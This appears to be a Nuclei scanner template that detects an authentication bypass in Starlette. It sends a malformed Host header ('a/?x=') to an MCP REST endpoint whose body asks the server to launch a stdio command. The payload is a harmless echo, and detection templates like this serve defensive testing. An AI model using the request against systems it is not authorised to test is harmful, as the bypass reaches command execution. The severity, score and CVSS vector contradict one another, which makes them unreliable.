id: CVE-2026-48710

info:
  name: Starlette - Improper Validation of Unsafe Equivalence in Input
  author: ritikchaddha
  severity: critical
  description: |
    A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.
  impact: |
    A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.
  remediation: |
    Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.
  reference:
    - https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48710
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-48710
    epss-score: 0.01002
    epss-percentile: 0.58321
    cwe-id: CWE-1289
  metadata:
    max-request: 2
    vendor: Kludex
    product: starlette
    shodan-query: http.html:"starlette"
    fofa-query: body="starlette"
  tags: cve,cve2026,starlette,auth-bypass,badhost

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"transport":"stdio","command":"echo","args":["test"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains_any(body, "auth_error", "Authentication Error")'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: a/?x=
        Content-Type: application/json
        Content-Length: 54

        {"transport":"stdio","command":"echo","args":["test"]}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Failed to connect to MCP server"
          - "status"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022035fd57b478c21eb36f05f875f33f47527384fa2289ab1a793ef1d2800c79db7e0220159465616945f537f8806dcfbd96caec722e0a91bd24affaf8c0aec5e7b61b1d:922c64590222798bb761d5b6d8e72950